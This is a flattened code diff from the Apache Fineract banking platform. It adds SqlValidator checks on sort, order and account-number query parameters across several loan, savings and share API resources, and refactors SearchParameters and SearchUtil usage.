private final DefaultToApiJsonSerializer<LoanDelinquencyTagHistoryData> jsonSerializerTagHistory; private final DefaultToApiJsonSerializer<LoanDelinquencyTagHistoryData> jsonSerializerTagHistory;
private final DelinquencyReadPlatformService delinquencyReadPlatformService; private final DelinquencyReadPlatformService delinquencyReadPlatformService;
private final SqlValidator sqlValidator;
/* /*
* This template API is used for loan approval, ideally this should be invoked on loan that are pending for * This template API is used for loan approval, ideally this should be invoked on loan that are pending for
@@ -476,6 +478,10 @@ public class LoansApiResource {
this.context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS); this.context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(accountNo);
sqlValidator.validate(externalId);
final SearchParameters searchParameters = SearchParameters.builder().accountNo(accountNo).sortOrder(sortOrder) final SearchParameters searchParameters = SearchParameters.builder().accountNo(accountNo).sortOrder(sortOrder)
.externalId(externalId).offset(offset).limit(limit).orderBy(orderBy).status(status).build(); .externalId(externalId).offset(offset).limit(limit).orderBy(orderBy).status(status).build();
@@ -349,19 +349,19 @@ public class LoanReadPlatformServiceImpl implements LoanReadPlatformService, Loa
arrayPos = arrayPos + 1; arrayPos = arrayPos + 1;
} }
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -35,6 +35,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.savings.SavingsApiConstants; import org.apache.fineract.portfolio.savings.SavingsApiConstants;
import org.apache.fineract.portfolio.savings.data.DepositAccountOnHoldTransactionData; import org.apache.fineract.portfolio.savings.data.DepositAccountOnHoldTransactionData;
import org.apache.fineract.portfolio.savings.service.DepositAccountOnHoldTransactionReadPlatformService; import org.apache.fineract.portfolio.savings.service.DepositAccountOnHoldTransactionReadPlatformService;
@@ -50,6 +51,7 @@ public class DepositAccountOnHoldFundTransactionsApiResource {
private final DefaultToApiJsonSerializer<DepositAccountOnHoldTransactionData> toApiJsonSerializer; private final DefaultToApiJsonSerializer<DepositAccountOnHoldTransactionData> toApiJsonSerializer;
private final ApiRequestParameterHelper apiRequestParameterHelper; private final ApiRequestParameterHelper apiRequestParameterHelper;
private final DepositAccountOnHoldTransactionReadPlatformService depositAccountOnHoldTransactionReadPlatformService; private final DepositAccountOnHoldTransactionReadPlatformService depositAccountOnHoldTransactionReadPlatformService;
private final SqlValidator sqlValidator;
@GET @GET
@Consumes({ MediaType.APPLICATION_JSON }) @Consumes({ MediaType.APPLICATION_JSON })
@@ -60,7 +62,10 @@ public class DepositAccountOnHoldFundTransactionsApiResource {
this.context.authenticatedUser().validateHasReadPermission(SavingsApiConstants.SAVINGS_ACCOUNT_RESOURCE_NAME); this.context.authenticatedUser().validateHasReadPermission(SavingsApiConstants.SAVINGS_ACCOUNT_RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final Page<DepositAccountOnHoldTransactionData> transfers = this.depositAccountOnHoldTransactionReadPlatformService final Page<DepositAccountOnHoldTransactionData> transfers = this.depositAccountOnHoldTransactionReadPlatformService
.retriveAll(savingsId, guarantorFundingId, searchParameters); .retriveAll(savingsId, guarantorFundingId, searchParameters);
@@ -69,6 +69,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper; import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.account.data.PortfolioAccountData; import org.apache.fineract.portfolio.account.data.PortfolioAccountData;
import org.apache.fineract.portfolio.account.service.AccountAssociationsReadPlatformService; import org.apache.fineract.portfolio.account.service.AccountAssociationsReadPlatformService;
import org.apache.fineract.portfolio.savings.DepositAccountType; import org.apache.fineract.portfolio.savings.DepositAccountType;
@@ -105,6 +106,7 @@ public class FixedDepositAccountsApiResource {
private final BulkImportWorkbookService bulkImportWorkbookService; private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService; private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final FixedDepositAccountInterestCalculationService fixedDepositAccountInterestCalculationService; private final FixedDepositAccountInterestCalculationService fixedDepositAccountInterestCalculationService;
private final SqlValidator sqlValidator;
@GET @GET
@Path("template") @Path("template")
@@ -144,7 +146,10 @@ public class FixedDepositAccountsApiResource {
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) { @QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.context.authenticatedUser().validateHasReadPermission(DepositsApiConstants.FIXED_DEPOSIT_ACCOUNT_RESOURCE_NAME); this.context.authenticatedUser().validateHasReadPermission(DepositsApiConstants.FIXED_DEPOSIT_ACCOUNT_RESOURCE_NAME);
final PaginationParameters paginationParameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final PaginationParameters paginationParameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit)
.offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
if (paginationParameters.isPaged()) { if (paginationParameters.isPaged()) {
@@ -67,6 +67,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper; import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.savings.DepositAccountType; import org.apache.fineract.portfolio.savings.DepositAccountType;
import org.apache.fineract.portfolio.savings.DepositsApiConstants; import org.apache.fineract.portfolio.savings.DepositsApiConstants;
import org.apache.fineract.portfolio.savings.SavingsApiConstants; import org.apache.fineract.portfolio.savings.SavingsApiConstants;
@@ -98,6 +99,7 @@ public class RecurringDepositAccountsApiResource {
private final DepositAccountPreMatureCalculationPlatformService accountPreMatureCalculationPlatformService; private final DepositAccountPreMatureCalculationPlatformService accountPreMatureCalculationPlatformService;
private final BulkImportWorkbookService bulkImportWorkbookService; private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService; private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final SqlValidator sqlValidator;
@GET @GET
@Path("template") @Path("template")
@@ -138,7 +140,10 @@ public class RecurringDepositAccountsApiResource {
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) { @QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.context.authenticatedUser().validateHasReadPermission(DepositsApiConstants.RECURRING_DEPOSIT_ACCOUNT_RESOURCE_NAME); this.context.authenticatedUser().validateHasReadPermission(DepositsApiConstants.RECURRING_DEPOSIT_ACCOUNT_RESOURCE_NAME);
final PaginationParameters paginationParameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final PaginationParameters paginationParameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit)
.offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
if (paginationParameters.isPaged()) { if (paginationParameters.isPaged()) {
@@ -65,6 +65,7 @@ import org.apache.fineract.infrastructure.core.service.ExternalIdFactory;
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.savings.DepositAccountType; import org.apache.fineract.portfolio.savings.DepositAccountType;
import org.apache.fineract.portfolio.savings.SavingsApiConstants; import org.apache.fineract.portfolio.savings.SavingsApiConstants;
import org.apache.fineract.portfolio.savings.data.SavingsAccountChargeData; import org.apache.fineract.portfolio.savings.data.SavingsAccountChargeData;
@@ -92,6 +93,7 @@ public class SavingsAccountsApiResource {
private final SavingsAccountChargeReadPlatformService savingsAccountChargeReadPlatformService; private final SavingsAccountChargeReadPlatformService savingsAccountChargeReadPlatformService;
private final BulkImportWorkbookService bulkImportWorkbookService; private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService; private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final SqlValidator sqlValidator;
@GET @GET
@Path("template") @Path("template")
@@ -134,7 +136,11 @@ public class SavingsAccountsApiResource {
context.authenticatedUser().validateHasReadPermission(SavingsApiConstants.SAVINGS_ACCOUNT_RESOURCE_NAME); context.authenticatedUser().validateHasReadPermission(SavingsApiConstants.SAVINGS_ACCOUNT_RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forSavings(externalId, offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final Page<SavingsAccountData> products = savingsAccountReadPlatformService.retrieveAll(searchParameters); final Page<SavingsAccountData> products = savingsAccountReadPlatformService.retrieveAll(searchParameters);
@@ -60,19 +60,19 @@ public class DepositAccountOnHoldTransactionReadPlatformServiceImpl implements D
paramObj.add(guarantorFundingId); paramObj.add(guarantorFundingId);
} }
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -217,19 +217,19 @@ public class SavingsAccountReadPlatformServiceImpl implements SavingsAccountRead
objectArray[arrayPos] = searchParameters.getOfficeId(); objectArray[arrayPos] = searchParameters.getOfficeId();
arrayPos = arrayPos + 1; arrayPos = arrayPos + 1;
} }
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -69,6 +69,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
private final ReadWriteNonCoreDataService datatableService; private final ReadWriteNonCoreDataService datatableService;
private final DataTableValidator dataTableValidator; private final DataTableValidator dataTableValidator;
private final JdbcTemplate jdbcTemplate; private final JdbcTemplate jdbcTemplate;
private final SearchUtil searchUtil;
@Override @Override
public Page<SavingsAccountTransactionData> searchTransactions(@NotNull Long savingsId, public Page<SavingsAccountTransactionData> searchTransactions(@NotNull Long savingsId,
@@ -76,7 +77,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
context.authenticatedUser().validateHasReadPermission(SAVINGS_ACCOUNT_RESOURCE_NAME); context.authenticatedUser().validateHasReadPermission(SAVINGS_ACCOUNT_RESOURCE_NAME);
String apptable = EntityTables.SAVINGS_TRANSACTION.getApptableName(); String apptable = EntityTables.SAVINGS_TRANSACTION.getApptableName();
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(apptable)); .mapHeadersToName(genericDataService.fillResultsetColumnHeaders(apptable));
PageRequest pageable = searchParameters.getPageable(); PageRequest pageable = searchParameters.getPageable();
@@ -84,7 +85,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
if (pageable.getSort().isSorted()) { if (pageable.getSort().isSorted()) {
List<Sort.Order> orders = pageable.getSort().toList(); List<Sort.Order> orders = pageable.getSort().toList();
sortPageable = pageable.withSort(Sort.by(orders.stream() sortPageable = pageable.withSort(Sort.by(orders.stream()
.map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList())); .map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
} else { } else {
pageable = pageable.withSort(Sort.Direction.DESC, "transaction_date", CREATED_DATE_DB_FIELD, "id"); pageable = pageable.withSort(Sort.Direction.DESC, "transaction_date", CREATED_DATE_DB_FIELD, "id");
sortPageable = pageable; sortPageable = pageable;
@@ -108,7 +109,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
String alias = "tr"; String alias = "tr";
StringBuilder where = new StringBuilder(); StringBuilder where = new StringBuilder();
ArrayList<Object> params = new ArrayList<>(); ArrayList<Object> params = new ArrayList<>();
SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, null, null, null, false, sqlGenerator); searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, null, null, null, false, sqlGenerator);
SavingsAccountReadPlatformServiceImpl.SavingsAccountTransactionsMapper tm = new SavingsAccountReadPlatformServiceImpl.SavingsAccountTransactionsMapper(); SavingsAccountReadPlatformServiceImpl.SavingsAccountTransactionsMapper tm = new SavingsAccountReadPlatformServiceImpl.SavingsAccountTransactionsMapper();
Object[] args = params.toArray(); Object[] args = params.toArray();
@@ -185,8 +186,8 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
dataTableValidator.validateTableSearch(queryRequest); dataTableValidator.validateTableSearch(queryRequest);
List<ResultsetColumnHeaderData> columnHeaders = genericDataService.fillResultsetColumnHeaders(apptable); List<ResultsetColumnHeaderData> columnHeaders = genericDataService.fillResultsetColumnHeaders(apptable);
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders); Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
String pkColumn = SearchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName(); String pkColumn = searchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
AdvancedQueryData baseQuery = queryRequest.getBaseQuery(); AdvancedQueryData baseQuery = queryRequest.getBaseQuery();
List<TableQueryData> datatableQueries = queryRequest.getDatatableQueries(); List<TableQueryData> datatableQueries = queryRequest.getDatatableQueries();
@@ -200,9 +201,9 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
selectColumns = new ArrayList<>(); selectColumns = new ArrayList<>();
} else { } else {
columnFilters = baseQuery.getNonNullFilters(); columnFilters = baseQuery.getNonNullFilters();
columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false))); columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
resultColumns = baseQuery.getNonNullResultColumns(); resultColumns = baseQuery.getNonNullResultColumns();
selectColumns = new ArrayList<>(SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true)); selectColumns = new ArrayList<>(searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true));
} }
columnFilters.add(0, ColumnFilterData.eq("savings_account_id", savingsId.toString())); columnFilters.add(0, ColumnFilterData.eq("savings_account_id", savingsId.toString()));
if (resultColumns.isEmpty() && !queryRequest.hasResultColumn()) { if (resultColumns.isEmpty() && !queryRequest.hasResultColumn()) {
@@ -214,7 +215,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
if (pageable.getSort().isSorted()) { if (pageable.getSort().isSorted()) {
List<Sort.Order> orders = pageable.getSort().toList(); List<Sort.Order> orders = pageable.getSort().toList();
sortPageable = pageable.withSort(Sort.by(orders.stream() sortPageable = pageable.withSort(Sort.by(orders.stream()
.map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList())); .map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
} else { } else {
pageable = pageable.withSort(Sort.Direction.DESC, pkColumn); pageable = pageable.withSort(Sort.Direction.DESC, pkColumn);
sortPageable = pageable; sortPageable = pageable;
@@ -228,7 +229,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
StringBuilder from = new StringBuilder(" ").append(sqlGenerator.buildFrom(apptable, alias, false)); StringBuilder from = new StringBuilder(" ").append(sqlGenerator.buildFrom(apptable, alias, false));
StringBuilder where = new StringBuilder(); StringBuilder where = new StringBuilder();
ArrayList<Object> params = new ArrayList<>(); ArrayList<Object> params = new ArrayList<>();
SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, false, searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, false,
sqlGenerator); sqlGenerator);
if (datatableQueries != null) { if (datatableQueries != null) {
@@ -280,7 +281,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
SqlRowSet rowSet = jdbcTemplate.queryForRowSet(query.toString(), args); SqlRowSet rowSet = jdbcTemplate.queryForRowSet(query.toString(), args);
while (rowSet.next()) { while (rowSet.next()) {
SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results); searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
} }
return PageableExecutionUtils.getPage(results, pageable, () -> totalElements); return PageableExecutionUtils.getPage(results, pageable, () -> totalElements);
} }
@@ -33,7 +33,7 @@ import org.apache.fineract.infrastructure.dataqueries.data.DataTableValidator;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService; import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksWritePlatformService; import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksWritePlatformService;
import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService; import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataServiceImpl; import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataService;
import org.apache.fineract.infrastructure.entityaccess.service.FineractEntityAccessUtil; import org.apache.fineract.infrastructure.entityaccess.service.FineractEntityAccessUtil;
import org.apache.fineract.infrastructure.event.business.service.BusinessEventNotifierService; import org.apache.fineract.infrastructure.event.business.service.BusinessEventNotifierService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
@@ -138,6 +138,7 @@ import org.apache.fineract.portfolio.savings.service.SavingsSchedularInterestPos
import org.apache.fineract.portfolio.savings.service.SavingsSchedularInterestPosterTask; import org.apache.fineract.portfolio.savings.service.SavingsSchedularInterestPosterTask;
import org.apache.fineract.portfolio.savings.service.search.SavingsAccountTransactionSearchService; import org.apache.fineract.portfolio.savings.service.search.SavingsAccountTransactionSearchService;
import org.apache.fineract.portfolio.savings.service.search.SavingsAccountTransactionsSearchServiceImpl; import org.apache.fineract.portfolio.savings.service.search.SavingsAccountTransactionsSearchServiceImpl;
import org.apache.fineract.portfolio.search.service.SearchUtil;
import org.apache.fineract.useradministration.domain.AppUserRepositoryWrapper; import org.apache.fineract.useradministration.domain.AppUserRepositoryWrapper;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
@@ -151,10 +152,10 @@ public class SavingsConfiguration {
@Bean @Bean
@ConditionalOnMissingBean(SavingsAccountTransactionSearchService.class) @ConditionalOnMissingBean(SavingsAccountTransactionSearchService.class)
public SavingsAccountTransactionSearchService savingsAccountTransactionSearchService(PlatformSecurityContext context, public SavingsAccountTransactionSearchService savingsAccountTransactionSearchService(PlatformSecurityContext context,
GenericDataService genericDataService, DatabaseSpecificSQLGenerator sqlGenerator, GenericDataService genericDataService, DatabaseSpecificSQLGenerator sqlGenerator, ReadWriteNonCoreDataService datatableService,
ReadWriteNonCoreDataServiceImpl datatableService, DataTableValidator dataTableValidator, JdbcTemplate jdbcTemplate) { DataTableValidator dataTableValidator, JdbcTemplate jdbcTemplate, SearchUtil searchUtil) {
return new SavingsAccountTransactionsSearchServiceImpl(context, genericDataService, sqlGenerator, datatableService, return new SavingsAccountTransactionsSearchServiceImpl(context, genericDataService, sqlGenerator, datatableService,
dataTableValidator, jdbcTemplate); dataTableValidator, jdbcTemplate, searchUtil);
} }
@Bean @Bean
@@ -74,20 +74,20 @@ public class ShareAccountDividendReadPlatformServiceImpl implements ShareAccount
sqlBuilder.append(" and sa.account_no = ? "); sqlBuilder.append(" and sa.account_no = ? ");
params.add(searchParameters.getAccountNo()); params.add(searchParameters.getAccountNo());
} }
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -40,6 +40,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.shareaccounts.data.ShareAccountDividendData; import org.apache.fineract.portfolio.shareaccounts.data.ShareAccountDividendData;
import org.apache.fineract.portfolio.shareaccounts.service.ShareAccountDividendReadPlatformService; import org.apache.fineract.portfolio.shareaccounts.service.ShareAccountDividendReadPlatformService;
import org.apache.fineract.portfolio.shareproducts.data.ShareProductDividendPayOutData; import org.apache.fineract.portfolio.shareproducts.data.ShareProductDividendPayOutData;
@@ -60,6 +61,7 @@ public class ShareDividendApiResource {
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService; private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final ShareAccountDividendReadPlatformService shareAccountDividendReadPlatformService; private final ShareAccountDividendReadPlatformService shareAccountDividendReadPlatformService;
private final ShareProductDividendReadPlatformService shareProductDividendReadPlatformService; private final ShareProductDividendReadPlatformService shareProductDividendReadPlatformService;
private final SqlValidator sqlValidator;
@GET @GET
@Consumes({ MediaType.APPLICATION_JSON }) @Consumes({ MediaType.APPLICATION_JSON })
@@ -69,7 +71,10 @@ public class ShareDividendApiResource {
@QueryParam("sortOrder") final String sortOrder, @QueryParam("status") final Integer status) { @QueryParam("sortOrder") final String sortOrder, @QueryParam("status") final Integer status) {
this.platformSecurityContext.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS); this.platformSecurityContext.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
Page<ShareProductDividendPayOutData> dividendPayoutDetails = this.shareProductDividendReadPlatformService.retriveAll(productId, Page<ShareProductDividendPayOutData> dividendPayoutDetails = this.shareProductDividendReadPlatformService.retriveAll(productId,
status, searchParameters); status, searchParameters);
return this.toApiJsonSerializer.serialize(dividendPayoutDetails); return this.toApiJsonSerializer.serialize(dividendPayoutDetails);
@@ -85,8 +90,11 @@ public class ShareDividendApiResource {
@PathParam("productId") final Long productId) { @PathParam("productId") final Long productId) {
this.platformSecurityContext.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS); this.platformSecurityContext.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
